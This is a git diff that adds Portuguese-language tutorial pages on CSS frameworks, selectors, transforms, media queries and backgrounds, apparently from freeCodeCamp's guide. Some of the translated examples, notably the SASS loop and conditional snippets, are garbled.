+
+O Skeleton é um clichê simples para dar início a qualquer projeto responsivo.
+
+## Começando
+
+Aqui está um modelo HTML simples que inclui o último CSS compilado e minimizado para a biblioteca Skeleton.
+
+```html
+
+    <!DOCTYPE html> 
+    <html lang="en"> 
+      <head> 
+        <meta charset="utf-8"> 
+        <meta name="viewport" content="width=device-width, initial-scale=1"> 
+        <title>Skeleton Template</title> 
+        <link href="//fonts.googleapis.com/css?family=Raleway:400,300,600" rel="stylesheet" type="text/css"> 
+        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/4.1.1/normalize.min.css"> 
+        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/skeleton/2.0.4/skeleton.min.css"> 
+      </head> 
+      <body> 
+        <h1>Hello World</h1> 
+        <!-- Add all HTML Code here --> 
+        <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script> 
+      </body> 
+    </html> 
+```
+
+ [![](//discourse-user-assets.s3.amazonaws.com/original/2X/3/31bd555700f1ee85bb4ddcacf595f0dfd8a16254.png) **JSBin Demo**](http://jsbin.com/sekojaxali/edit?html,output)
+
+Nós usamos um CDN neste exemplo, mas você pode verificar outras formas de instalar o Skeleton [aqui](https://github.com/dhg/Skeleton#getting-started) .
+
+## Recursos de aprendizagem
+
+*   ![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:") [**`Official Documentation`**](http://getskeleton.com/#grid) do Esqueleto.
+*   Confira o repositório GitHub de código-fonte aberto da Skeleton [aqui](https://github.com/dhg/Skeleton) .
+*   [Aqui](http://getskeleton.com/#examples) estão alguns exemplos de como o Skeleton foi usado em diferentes sites.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/css-frameworks/css-frameworks-uikit/index.md b/client/src/guide/portuguese/css/css-frameworks/css-frameworks-uikit/index.md
new file mode 100644
index 0000000000..4ccc2326a5
--- /dev/null
+++ b/client/src/guide/portuguese/css/css-frameworks/css-frameworks-uikit/index.md
@@ -0,0 +1,34 @@
+---
+title: CSS Framework UIKit
+localeTitle: Estrutura CSS UIKit
+---
+## Estrutura CSS UIKit
+
+UIKit é uma estrutura de front-end leve e modular para o desenvolvimento de interfaces web rápidas e poderosas.
+
+### Começando
+
+Aqui está um modelo HTML simples que inclui o último CSS compilado e minimizado para a biblioteca UIKit.
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+    <head> 
+        <title></title> 
+        <link rel="stylesheet" href="css/uikit.min.css" /> 
+        <script src="js/jquery.js"></script> 
+        <script src="js/uikit.min.js"></script> 
+        <script src="js/uikit-icons.min.js"></script> 
+    </head> 
+    <body> 
+    </body> 
+ </html> 
+```
+
+Nós usamos um CDN neste exemplo, mas você pode verificar outras formas de instalar o UIKit [aqui](https://getuikit.com/docs/introduction) .
+
+### Recursos de aprendizagem
+
+*   A documentação oficial do UIKit está disponível [aqui](https://getuikit.com/docs/introduction) .
+*   Confira o repositório GitHub de código-fonte aberto do UIKit [aqui](https://github.com/uikit/uikit) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/css-frameworks/index.md b/client/src/guide/portuguese/css/css-frameworks/index.md
new file mode 100644
index 0000000000..7753a06b30
--- /dev/null
+++ b/client/src/guide/portuguese/css/css-frameworks/index.md
@@ -0,0 +1,40 @@
+CSlocaleTitle: undefined
+SAs estruturas são projetadas para simplificar o trabalho do tipógrafo, eliminar erros ao criar um projeto e se livrar da escrita monótona e chata do mesmo código.
+
+Vantagens dos frameworks CSS:
+```
+* Cross-browser compatibility 
+ * Ability to create the correct HTML layout even for a not very experienced specialist. 
+ * Code uniformity 
+ * Increase development speed 
+```
+
+Minuses:
+```
+* Attachment to CSS style library 
+ * Redundant code 
+```
+
+## Bootstrap
+
+Um dos mais famosos frameworks CSS até hoje. Inclui modelos para desenhar botões, barras laterais, barras de navegação, formulários e outros elementos do site. Inclui-se extensões de javascript.
+
+O Bootstrap é compatível com todos os principais navegadores modernos, mas pode haver problemas em versões mais antigas dos navegadores. Suporta adaptabilidade. Usa os idiomas Less e Sass.
+
+## Esqueleto
+
+Com base em JavaScript e CSS, ele é usado para criar com rapidez e precisão sites responsivos que são exibidos corretamente em monitores grandes e pequenas telas de gadgets. Um grande esqueleto mais - pode ser adaptado a qualquer desenho. A grade de marcação contém 12 colunas e tem uma largura de base de 960 pixels. Compatível com todos os principais navegadores.
+
+## Kube
+
+Liberdade total para o desenvolvedor sem impor estilos. Fornece flexibilidade máxima de design. Ele tem várias opções de grade e é posicionado pelos criadores como uma estrutura para desenvolvedores CSS profissionais. Usa menos, suporta design responsivo.
+
+## Fundação
+
+Estrutura CSS comum. Juntamente com outros elementos principais inclui vários modelos HTML com diferentes arranjos de blocos na página. Tem um grande conjunto de componentes em JavaScript. A estrutura é muito séria em suas capacidades e composição. Usa Sass. Código compatível com todos os principais navegadores.
+
+## IU semântica
+
+Suporte para Firefox, Chrome, Safari, Internet Explorer, Android 4, Blackberry10. Contém um grande número de componentes: ícones, imagens, etiquetas, menus e outros componentes padrão. Ele suporta as versões mais recentes de HTML e CSS e possui uma boa seleção de módulos de script e APIs. Usa menos. Na aplicabilidade compete com o bootstrap.
+
+Cada tarefa tem sua própria ferramenta. Um bom passo seria tentar o framework e entender “seu” ou não. Você pode usar os esqueletos do código apresentados nas estruturas como uma folha de dicas e apenas pegar soluções e código a partir daí.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/css-images/index.md b/client/src/guide/portuguese/css/css-images/index.md
new file mode 100644
index 0000000000..0cb5a23ffb
--- /dev/null
+++ b/client/src/guide/portuguese/css/css-images/index.md
@@ -0,0 +1,30 @@
+---
+title: CSS Images
+localeTitle: Imagens CSS
+---
+## Imagens CSS
+
+Isso ajuda a adicionar uma imagem a um site.
+
+#### Amostra de código
+
+`<img src="picture.jpg" alt="Picture" width="100" height="100">`
+
+*   **src:** Consiste no valor do caminho para a imagem requerida
+*   **alt:** Se a imagem não for exibida, um texto alternativo pode ser exibido usando o atributo alt.
+*   **width:** Isto especifica uma largura para a imagem (pode ser por cento ou px ou auto)
+*   **height:** especifica uma altura para a imagem (pode ser por cento ou px ou auto)
+
+#### Mais Informações:
+
+##### Propriedades
+
+[`image-orientation`](/en-US/docs/Web/CSS/image-orientation "A propriedade CSS de orientação da imagem descreve como corrigir a orientação padrão de uma imagem.") [`image-rendering`](/en-US/docs/Web/CSS/image-rendering "A propriedade CSS de renderização de imagem fornece uma sugestão para o navegador sobre o algoritmo que deve usar para escalar imagens.") [`object-fit`](/en-US/docs/Web/CSS/object-fit "A propriedade CSS de ajuste de objeto especifica como um elemento substituído, como <img> ou <video>, deve ser redimensionado para caber em seu contêiner.") [`object-position`](/en-US/docs/Web/CSS/object-position "A propriedade CSS da posição do objeto determina o alinhamento do elemento selecionado dentro de sua caixa.")
+
+##### Funções
+
+[`linear-gradient()`](/en-US/docs/Web/CSS/linear-gradient "A documentação sobre isso ainda não foi escrita; por favor considere contribuir!") [`radial-gradient()`](/en-US/docs/Web/CSS/radial-gradient "A documentação sobre isso ainda não foi escrita; por favor considere contribuir!") [`repeating-linear-gradient()`](/en-US/docs/Web/CSS/repeating-linear-gradient "A documentação sobre isso ainda não foi escrita; por favor considere contribuir!") [`repeating-radial-gradient()`](/en-US/docs/Web/CSS/repeating-radial-gradient "A documentação sobre isso ainda não foi escrita; por favor considere contribuir!") [`element()`](/en-US/docs/Web/CSS/element "A documentação sobre isso ainda não foi escrita; por favor considere contribuir!")
+
+##### Tipos de dados
+
+[`&lt;image&gt;`](/en-US/docs/Web/CSS/image "O tipo de dados CSS <image> representa uma imagem 2D. Existem dois tipos de imagens: imagens simples, geralmente referenciadas usando uma URL, e imagens geradas dinamicamente, como aquelas geradas com <gradiente> ou elemento (). As imagens podem ser usadas com várias propriedades CSS, como imagem de fundo, imagem de borda, conteúdo, imagem de estilo de lista e cursor.") [`&lt;uri&gt;`](/en-US/docs/Web/CSS/uri "A documentação sobre isso ainda não foi escrita; por favor considere contribuir!")
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/css-performance/index.md b/client/src/guide/portuguese/css/css-performance/index.md
new file mode 100644
index 0000000000..ce76830bdd
--- /dev/null
+++ b/client/src/guide/portuguese/css/css-performance/index.md
@@ -0,0 +1,45 @@
+---
+title: CSS Performance
+localeTitle: Desempenho CSS
+---
+## Desempenho CSS
+
+Na maioria das vezes, o CSS não é o motivo pelo qual sua página da Web é carregada lentamente. Em alguns casos, isso pode reduzir o tempo de carregamento de seus sites, se o seu arquivo CSS estiver cheio de centenas de seletores sem desempenho. Aqui estão algumas diretrizes básicas sobre como escrever CSS rápido e sustentável.
+
+### Desempenho de diferentes seletores
+
+Veja este exemplo:
+
+```css
+#unique-id { }         // fastest 
+ .general-class { }  // also fast 
+ li { }              // ok 
+ * { }               // slow 
+```
+
+Não é novidade que os seletores de ID são os mais rápidos, seguidos pelas classes. Elementos de tag simples, como `div` ou `li` são processados ​​lentamente.
+
+### Como um elemento é selecionado
+
+imagine o seguinte CSS:
+
+```css
+nav ul li a { 
+  color: #fff; 
+ } 
+```
+
+Isso não é uma boa ideia. Existem maneiras melhores de selecionar um elemento de link em sua navegação. Mas como o computador realmente seleciona o elemento certo? Primeiro ele encontra cada `a` elemento em sua página. Então verifica se está dentro de um elemento `li` , dentro de uma `ul` dentro de uma `div` . Então, um navegador leu os seletores da direita para a esquerda. Se você tiver centenas de links, isso pode levar algum tempo para ser processado. Então, o que você deve fazer?
+
+### Melhore o desempenho do CSS
+
+Como um princípio básico:
+
+*   Evite seletores descendentes, como `ul li a` etc.
+*   Não se coíbe de usar muitos nomes de classes descritivos `.footer-nav-link`
+*   Tente usar o seletor filho em vez disso, se quiser selecionar um filho direto de um elemento `.image-container > img`
+*   Evite usar seletores universais `* { }`
+
+### Isso é realmente tudo necessário?
+
+Isso pode ter sido um problema há 20 anos, quando os computadores não eram tão rápidos quanto são hoje. Por favor, não evite completamente os seletores descendentes no futuro. Mas tenha em mente que seu objetivo é escrever CSS sustentável, então um pouco de raciocínio pode ser apropriado. Às vezes, o `nav ul li a` não é uma boa ideia em uma página com centenas de links.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/css-position/index.md b/client/src/guide/portuguese/css/css-position/index.md
new file mode 100644
index 0000000000..5d1a737b1d
--- /dev/null
+++ b/client/src/guide/portuguese/css/css-position/index.md
@@ -0,0 +1,23 @@
+---
+title: CSS Position
+localeTitle: Posição CSS
+---
+## Posição CSS
+
+A propriedade position especifica o tipo de método de posicionamento usado para um elemento. Tem 5 valores de palavras-chave:
+
+```css
+.static         { position: static; } // default value 
+ .relative       { position: relative; } 
+ .sticky         { position: sticky; } 
+ .fixed          { position: fixed; } 
+ .absolute       { position: absolute; } 
+```
+
+### Mais Informações:
+
+Documentação [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/position) : [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/position)
+
+Suporte ao Navegador: [caniuse](http://caniuse.com/#search=position)
+
+YouTube: [Part1](https://www.youtube.com/watch?v=kejG8G0dr5U) | [Parte 2](https://www.youtube.com/watch?v=Rf6zAP4YnZA)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/css-pre-processors/index.md b/client/src/guide/portuguese/css/css-pre-processors/index.md
new file mode 100644
index 0000000000..17c9408adb
--- /dev/null
+++ b/client/src/guide/portuguese/css/css-pre-processors/index.md
@@ -0,0 +1,13 @@
+---
+title: CSS Pre-Processors
+localeTitle: Pré-processadores CSS
+---
+## Pré-processadores CSS
+
+Pré-processador é um software que permite usar a funcionalidade CSS estendida com variáveis, funções, operadores e muitos outros recursos úteis que o CSS simples está faltando.
+
+## Pré-processadores populares
+
+*   [SASS](http://sass-lang.com)
+*   [MENOS](http://lesscss.org)
+*   [Estilete](http://stylus-lang.com)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/css-preprocessors/index.md b/client/src/guide/portuguese/css/css-preprocessors/index.md
new file mode 100644
index 0000000000..ec511b9700
--- /dev/null
+++ b/client/src/guide/portuguese/css/css-preprocessors/index.md
@@ -0,0 +1,50 @@
+---
+title: CSS Preprocessors
+localeTitle: Preprocessadores CSS
+---
+## Preprocessadores CSS
+
+Os pré-processadores CSS estão se tornando cada vez mais um pilar no fluxo de trabalho dos desenvolvedores web front-end. CSS é uma linguagem incrivelmente complicada e cheia de nuances, e em um esforço para facilitar seu uso, os desenvolvedores muitas vezes recorrem a pré-processadores como SASS ou LESS.
+
+Preprocessadores CSS compilar o código que é escrito usando um compilador especial e, em seguida, usar isso para criar um arquivo css, que pode ser refereneced pelo documento HTML principal. Ao usar qualquer pré-processador CSS, você poderá programar no CSS normal exatamente como faria se o pré-processador não estivesse no lugar, mas também tem mais opções disponíveis para você. Alguns, como o SASS, têm padrões de estilo específicos que facilitam a redação do documento, como a liberdade de omitir chaves, se você optar por fazê-lo.
+
+Naturalmente, os pré-processadores CSS também oferecem outros recursos. Muitos dos recursos oferecidos são incrivelmente semelhantes entre os pré-processadores, com apenas pequenas variações na sintaxe. Assim, você pode escolher praticamente qualquer pessoa que desejar e será capaz de alcançar as mesmas coisas. Algumas das características mais úteis são:
+
+### Variáveis
+
+Um dos itens mais usados ​​em qualquer linguagem de programação é a variável, algo que o CSS não possui. Ao ter variáveis ​​à sua disposição, você pode definir um valor uma vez e reutilizá-lo durante todo o programa. Um exemplo disso no SASS seria:
+
+```SASS
+$yourcolor: #000056 
+ .yourDiv { 
+  color: $yourcolor; 
+ } 
+```
+
+Ao declarar a variável `SASS yourcolor` do `SASS yourcolor` uma vez, agora é possível reutilizar essa mesma cor exata em todo o documento sem precisar redigitar a definição.
+
+### rotações
+
+Outro item comum em linguagens são os loops, algo que o CSS não possui. Os loops podem ser usados ​​para repetir as mesmas instruções várias vezes sem precisar ser reinserido várias vezes. Um exemplo com o SASS seria:
+
+\`\` \`SASS @ para $ vfoo 35px a 85px { .margin - # {vfoo} { margin: $ vfoo 10px; } }
+```
+This loop saves us from having the to write the same code multiple times to change the margin size. 
+ 
+ ### If/Else Statements 
+ Yet another feature which CSS lacks are If/Else statements. These will run a set of instructions only if a given condition is true. An example of this in SASS would be: 
+```
+
+SASS largura @if (corpo)> 500px { cor de fundo: azul; } outro { cor de fundo: branco; } \`\` \` Aqui, a cor do plano de fundo mudará de cor dependendo da largura do corpo da página.
+
+Estas são apenas algumas das principais funções dos pré-processadores CSS. Como você pode ver, os pré-processadores CSS são ferramentas incrivelmente úteis e versáteis. Muitos desenvolvedores da web os usam, e é altamente recomendado que você aprenda pelo menos um deles.
+
+#### Mais Informações:
+
+SASS: http://sass-lang.com/
+
+MENOS: http://lesscss.org/
+
+Estilete: http://stylus-lang.com/
+
+Página do MDN: https://developer.mozilla.org/pt-BR/docs/Glossary/CSS\_preprocessor
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/css-syntax-and-selectors/index.md b/client/src/guide/portuguese/css/css-syntax-and-selectors/index.md
new file mode 100644
index 0000000000..d34760ea48
--- /dev/null
+++ b/client/src/guide/portuguese/css/css-syntax-and-selectors/index.md
@@ -0,0 +1,96 @@
+---
+title: CSS Syntax and Selectors
+localeTitle: Sintaxe CSS e Seletores
+---
+## Sintaxe CSS e Seletores
+
+Quando falamos sobre a sintaxe do CSS, estamos falando sobre como as coisas são apresentadas. Existem regras sobre o que vai onde, tanto para que você possa escrever CSS de forma consistente e um programa (como um navegador) pode interpretá-lo e aplicá-lo à página corretamente.
+
+Existem duas maneiras principais de escrever CSS.
+
+### CSS Inline
+
+Detalhes sobre especificidade de CSS: [truques de CSS](https://css-tricks.com/specifics-on-css-specificity/)
+
+O CSS inline aplica o estilo a um único elemento e seus filhos, até que outro estilo que substitua o primeiro seja encontrado.
+
+Para aplicar CSS inline, adicione o atributo "style" a um elemento HTML que você gostaria de modificar. Citações internas, incluem uma lista delimitada por ponto-e-vírgula de pares de chave / valor (cada um por sua vez separados por dois pontos) indicando os estilos a serem definidos.
+
+Aqui está um exemplo de CSS inline. As palavras "One" e "Two" terão uma cor de fundo de amarelo e cor de texto de vermelho. A palavra "Três" tem um novo estilo que substitui o primeiro, e terá uma cor de fundo de cor verde e texto de ciano. No exemplo, estamos aplicando estilos a tags `<div>` , mas você pode aplicar um estilo a qualquer elemento HTML.
+
+```html
+
+<div style="color:red; background:yellow"> 
+  One 
+  <div> 
+    Two 
+  </div> 
+  <div style="color:cyan; background:green"> 
+    Three 
+  </div> 
+ </div> 
+```
+
+### CSS interno
+
+Enquanto escrever um estilo inline é uma maneira rápida de alterar um único elemento, há uma maneira mais eficiente de aplicar o mesmo estilo a vários elementos da página de uma só vez.
+
+O CSS interno tem seus estilos especificados na tag `<style>` e está incorporado na tag `<head>` .
+
+Aqui está um exemplo que tem um efeito semelhante ao exemplo "inline" acima, exceto que o CSS foi extraído para sua própria área. As palavras "um" e "dois" irá coincidir com a `div` seletor e ser um texto vermelho em um fundo amarelo. As palavras "Três" e "Quatro" irá coincidir com a `div` selector também, mas eles também coincidir com o `.nested_div` selector que se aplica a qualquer elemento HTML que faz referência a essa classe. Esse seletor mais específico substitui o primeiro e eles acabam aparecendo como texto ciano em um plano de fundo verde.
+
+```html
+
+<style type="text/css"> 
+  div { color: red; background: yellow; } 
+  .nested_div { color: cyan; background: green; } 
+ </style> 
+ 
+ <div> 
+  One 
+  <div> 
+    Two 
+  </div> 
+  <div class="nested_div"> 
+    Three 
+  </div> 
+  <div class="nested_div"> 
+    Four 
+  </div> 
+ </div> 
+```
+
+Os seletores mostrados acima são extremamente simples, mas podem ser bastante complexos. Por exemplo, é possível aplicar estilos somente a elementos aninhados; isto é, um elemento que é filho de outro elemento.
+
+Aqui está um exemplo em que estamos especificando um estilo que só deve ser aplicado a elementos `div` que são um filho direto de outros elementos `div` . O resultado é que "Dois" e "Três" aparecerão como texto vermelho em um fundo amarelo, mas "Um" e "Quatro" permanecerão inalterados (e provavelmente texto preto em um fundo branco).
+
+```html
+
+<style type="text/css"> 
+  div > div { color: red; background: yellow; } 
+ </style> 
+ 
+ <div> 
+  One 
+  <div> 
+    Two 
+  </div> 
+  <div> 
+    Three 
+  </div> 
+ </div> 
+ <div> 
+  Four 
+ </div> 
+```
+
+### CSS externo
+
+Todo o estilo tem seu próprio documento que está vinculado na tag `<head>` . A extensão do arquivo vinculado é `.css`
+
+#### Mais Informações:
+
+*   [Sintaxe CSS](https://developer.mozilla.org/en-US/docs/Web/CSS/Syntax) @ MDN
+*   [Seletores de CSS](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Selectors) @ MDN
+*   [Referência de Seletores CSS](https://www.w3schools.com/cssref/css_selectors.asp)
+*   [Especificidade de Seletores CSS](https://developer.mozilla.org/en-US/docs/Web/CSS/Specificity)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/css3-2d-transforms/index.md b/client/src/guide/portuguese/css/css3-2d-transforms/index.md
new file mode 100644
index 0000000000..2fc4c03d40
--- /dev/null
+++ b/client/src/guide/portuguese/css/css3-2d-transforms/index.md
@@ -0,0 +1,198 @@
+---
+title: CSS3 2d Transforms
+localeTitle: Transformações CSS3 2d
+---
+## Transformações CSS3 2d
+
+As transformações CSS3 permitem que você traduza, gire, dimensione e incline elementos.
+
+Uma transformação é um efeito que permite que um elemento mude de forma, tamanho e posição.
+
+O CSS3 suporta transformações 2D e 3D.
+
+## Suporte de Navegador para Transformações 2D
+
+Os números na tabela especificam a primeira versão do navegador que suporta totalmente a propriedade.
+
+Números seguidos por -ms-, -webkit-, -moz- ou -o- especificam a primeira versão que trabalhou com um prefixo.
+
+| Propriedade | Chrome | IE | Firefox | Safari | Ópera | | --------------------------------------- | ---------------------- | ------------------ | ------------------- | -------------------- | -------------------------------------------- | | transformar | 36,0 4,0 -webkit- | 10,0 9,0 -ms- | 16,0 3,5 -moz- | 9,0 3,2 -Webkit- | 23,0 15,0 -webkit- 12,1 10,5 -o- | | transformação-origem (sintaxe de dois valores) | 36,0 4,0 -webkit- | 10,0 9,0 -ms- | 16,0 3,5 -moz- | 9,0 3,2 -webkit- | 23,0 15,0 -webkit- 12,1 10,5 -o- |
+
+## Transformações 2D CSS3
+
+Métodos:
+
+*   `translate()`
+*   `rotate()`
+*   `scale()`
+*   `skewX()`
+*   `skewY()`
+*   `matrix()`
+
+## O método translate ()
+
+O método `translate()` move um elemento de sua posição atual (de acordo aos parâmetros dados para o eixo X e o eixo Y).
+
+O exemplo a seguir move o elemento `<div>` 50 pixels para a direita e 100 pixels abaixo de sua posição atual:
+
+### Exemplo:
+
+```css
+div { 
+  -ms-transform: translate(50px, 100px); /* IE 9 */ 
+  -webkit-transform: translate(50px, 100px); /* Safari */ 
+  transform: translate(50px, 100px); 
+ } 
+```
+
+## O método rotate ()
+
+O método `rotate()` rotaciona um elemento no sentido horário ou anti-horário de acordo com um determinado grau.
+
+O exemplo a seguir gira o elemento `<div>` no sentido horário com 20 graus:
+
+### Exemplo:
+
+```css
+div { 
+  -ms-transform: rotate(20deg); /* IE 9 */ 
+  -webkit-transform: rotate(20deg); /* Safari */ 
+  transform: rotate(20deg); 
+ } 
+```
+
+Usando valores negativos irá girar o elemento no sentido anti-horário.
+
+O exemplo a seguir gira o elemento `<div>` no sentido anti-horário com 20 graus:
+
+### Exemplo:
+
+```css
+div { 
+  -ms-transform: rotate(-20deg); /* IE 9 */ 
+  -webkit-transform: rotate(-20deg); /* Safari */ 
+  transform: rotate(-20deg); 
+ } 
+```
+
+## O método de escala ()
+
+O método `scale()` aumenta ou diminui o tamanho de um elemento (de acordo com os parâmetros fornecidos para a largura e altura).
+
+O exemplo a seguir aumenta o elemento `<div>` para duas vezes largura original e três vezes a sua altura original:
+
+### Exemplo:
+
+```css
+div { 
+  -ms-transform: scale(2, 3); /* IE 9 */ 
+  -webkit-transform: scale(2, 3); /* Safari */ 
+  transform: scale(2, 3); 
+ } 
+```
+
+O exemplo a seguir diminui o elemento `<div>` para metade do original largura e altura:
+
+### Exemplo:
+
+```css
+div { 
+  -ms-transform: scale(0.5, 0.5); /* IE 9 */ 
+  -webkit-transform: scale(0.5, 0.5); /* Safari */ 
+  transform: scale(0.5, 0.5); 
+ } 
+```
+
+## O método skewX ()
+
+O método `skewX()` inclina um elemento ao longo do eixo X pelo ângulo dado.
+
+O exemplo a seguir inclina o elemento `<div>` 20 graus ao longo do eixo X:
+
+### Exemplo:
+
+```css
+div { 
+  -ms-transform: skewX(20deg); /* IE 9 */ 
+  -webkit-transform: skewX(20deg); /* Safari */ 
+  transform: skewX(20deg); 
+ } 
+```
+
+## O método skewY ()
+
+O método `skewY()` inclina um elemento ao longo do eixo Y pelo ângulo dado.
+
+O exemplo a seguir inclina o elemento `<div>` 20 graus ao longo do eixo Y:
+
+### Exemplo:
+
+```css
+div { 
+  -ms-transform: skewY(20deg); /* IE 9 */ 
+  -webkit-transform: skewY(20deg); /* Safari */ 
+  transform: skewY(20deg); 
+ } 
+```
+
+## O método skew ()
+
+O método `skew()` inclina um elemento ao longo dos eixos X e Y pelos ângulos dados.
+
+O exemplo a seguir inclina o elemento `<div>` 20 graus ao longo do eixo X e 10 graus ao longo do eixo Y:
+
+### Exemplo:
+
+```css
+div { 
+  -ms-transform: skew(20deg, 10deg); /* IE 9 */ 
+  -webkit-transform: skew(20deg, 10deg); /* Safari */ 
+  transform: skew(20deg, 10deg); 
+ } 
+```
+
+Se o segundo parâmetro não for especificado, ele terá um valor zero. Então, o seguinte exemplo inclina o elemento `<div>` 20 graus ao longo do eixo X:
+
+### Exemplo:
+
+```css
+div { 
+  -ms-transform: skew(20deg); /* IE 9 */ 
+  -webkit-transform: skew(20deg); /* Safari */ 
+  transform: skew(20deg); 
+ } 
+```
+
+## O método matrix ()
+
+O método `matrix()` combina todos os métodos de transformação 2D em um.
+
+O método matrix () utiliza seis parâmetros, contendo funções matemáticas, que permite girar, dimensionar, mover (transladar) e inclinar elementos.
+
+Os parâmetros são os seguintes: matriz (scaleX (), skewY (), skewX (), escalaY (), translateX (), translateY ())
+
+### Exemplo:
+
+```css
+div { 
+  -ms-transform: matrix(1, -0.3, 0, 1, 0, 0); /* IE 9 */ 
+  -webkit-transform: matrix(1, -0.3, 0, 1, 0, 0); /* Safari */ 
+  transform: matrix(1, -0.3, 0, 1, 0, 0); 
+ } 
+```
+
+## Propriedades de Transformação CSS3
+
+A tabela a seguir lista todas as propriedades de transformação 2D:
+
+| Propriedade | Descrição | | ---------------- | -------------------------------------------------- ------- | | transformar | Aplica uma transformação 2D ou 3D a um elemento | | transformação-origem | Permite que você mude a posição nos elementos transformados |
+
+## Métodos de transformação 2D
+
+| Função | Descrição | | --------------------- | -------------------------------------------------- ----------------------- | | matriz (n, n, n, n, n) | Define uma transformação 2D, usando uma matriz de seis valores | | translate (x, y) | Define uma tradução 2D, movendo o elemento ao longo dos eixos X e Y | | translateX (n) | Define uma tradução 2D, movendo o elemento ao longo do eixo X | | translateY (n) | Define uma tradução 2D, movendo o elemento ao longo do eixo Y | | escala (x, y) | Define uma transformação em escala 2D, alterando os elementos width e height | | escalaX (n) | Define uma transformação em escala 2D, alterando a largura do elemento | | escalaY (n) | Define uma transformação em escala 2D, alterando a altura do elemento | | rodar (ângulo) | Define uma rotação 2D, o ângulo é especificado no parâmetro | | inclinação (ângulo x, ângulo y) | Define uma transformação de inclinação 2D ao longo dos eixos X e Y | | skewX (ângulo) | Define uma transformação de inclinação 2D ao longo do eixo X | | skewY (ângulo) | Define uma transformação de inclinação 2D ao longo do eixo Y |
+
+## Mais Informações:
+
+*   https://css-tricks.com/almanac/properties/t/transform/
+*   https://www.w3schools.com/css/css3\_2dtransforms.asp
+*   https://developer.mozilla.org/pt-BR/docs/Web/CSS/transform
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/css3-at-media-rule/index.md b/client/src/guide/portuguese/css/css3-at-media-rule/index.md
new file mode 100644
index 0000000000..4b2b0630d5
--- /dev/null
+++ b/client/src/guide/portuguese/css/css3-at-media-rule/index.md
@@ -0,0 +1,40 @@
+---
+title: CSS3 at Media Rule
+localeTitle: CSS3 na Regra de Mídia
+---
+## CSS3 na Regra de Mídia
+
+A regra de mídia CSS3 é uma regra que permite o uso de consultas de mídia. As consultas de mídia podem permitir que você estilize sua página da Web (uma parte ou toda ela) de maneira diferente com base em diferentes tipos de mídia ou dispositivos.
+
+Uma Consulta de Mídia é criada usando a tag `@media` e, em seguida, fornecendo uma regra para verificar coisas como:
+
+*   Largura e altura da viewport atual
+*   Orientação do dispositivo (isso se aplica a tablets ou telefones)
+*   Resolução atual
+*   E mais
+
+Atualmente, existem quatro tipos de mídia possíveis:
+
+*   all (padrão - isso segmentará todos os dispositivos)
+*   print (Usado para impressoras; por exemplo, fornecendo estilos de impressão separados)
+*   tela (Usado para computadores, telefones, tablets, etc.)
+*   fala (Usada para dispositivos de acessibilidade, como o leitor de tela que narra o conteúdo de uma página da Web)
+
+As consultas de mídia são usadas para todos os tipos de objetivos, pois permitem muitos recursos de mídia diferentes. Um dos usos mais comuns de uma consulta de mídia é tornar uma página da Web responsiva; o que significa que se comportará de maneira diferente com base no tamanho da tela.
+
+Um exemplo de consulta de mídia é o seguinte:
+
+```CSS
+@media screen and (max-width: 1000px) { 
+  body { 
+    background: #000; 
+  } 
+ } 
+```
+
+O CSS na regra de Consulta de mídia aplica-se somente quando a regra é verdadeira. Por exemplo, olhando o snippet acima, o plano de fundo do corpo será alterado para `#000` somente quando o usuário visitar a página com um dispositivo com largura de até 1.000px ou menos. Se acima de 1000px, essa regra não será aplicada.
+
+#### Mais Informações:
+
+*   [CSS @media Rule](https://www.w3schools.com/cssref/css3_pr_mediaquery.asp)
+*   [Usando consultas de mídia](https://developer.mozilla.org/en-US/docs/Web/CSS/Media_Queries/Using_media_queries)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/css3-backgrounds/index.md b/client/src/guide/portuguese/css/css3-backgrounds/index.md
new file mode 100644
index 0000000000..78f1ae51fa
--- /dev/null
+++ b/client/src/guide/portuguese/css/css3-backgrounds/index.md
@@ -0,0 +1,92 @@
+---
+title: CSS3 Backgrounds
+localeTitle: Fundos CSS3
+---
+## Fundos CSS3
+
+A propriedade abreviada de `background` CSS é usada para definir múltiplas propriedades como:
+
+`background-color` , `background-image` `background-repeat` , `background-repeat` , `background-attachment` e `background-position`
+
+### Cor de fundo
+
+A propriedade `background-color` especifica a cor de fundo de um elemento.
+
+```css
+   background-color : #F00; 
+```
+
+### Imagem de fundo
+
+A propriedade `background-image` especifica uma imagem para usar como plano de fundo de um elemento. Por padrão, a imagem se repete para cobrir toda a superfície do elemento.
+
+```css
+   background-image: url("GitHub-Mark.png"); 
+```
+
+### Imagem de fundo - repetição
+
+Por padrão, a propriedade `background-image` repetida nos eixos X e Y. Se você quiser definir um eixo, como o eixo X, use o tipo de propriedade `background-repeat` :
+
+```css
+   background-image: url("GitHub-Mark.png"); 
+   background-repeat: repeat-x; 
+```
+
+Mas às vezes você não quer ter seu background em toda a superfície, você tem que especificar digitando:
+
+```css
+   background-image: url("GitHub-Mark.png"); 
+   background-repeat: no-repeat; 
+```
+
+### Imagem de fundo - posição
+
+Você pode especificar a posição do plano de fundo digitando:
+
+```css
+   background-image: url("GitHub-Mark.png"); 
+   background-repeat: no-repeat; 
+   background-position : left bottom; 
+```
+
+Ele irá definir o seu fundo no canto inferior esquerdo do elemento.
+
+### Imagem de fundo - posição fixa
+
+Se você deseja ter uma imagem de plano de fundo que não rola com o restante da página, você pode usar `background-attachement` propriedade `background-attachement` :
+
+```css
+   background-image: url("GitHub-Mark.png"); 
+   background-repeat: no-repeat; 
+   background-position: left bottom; 
+   background-attachment: fixed; 
+```
+
+### Propriedade de taquigrafia
+
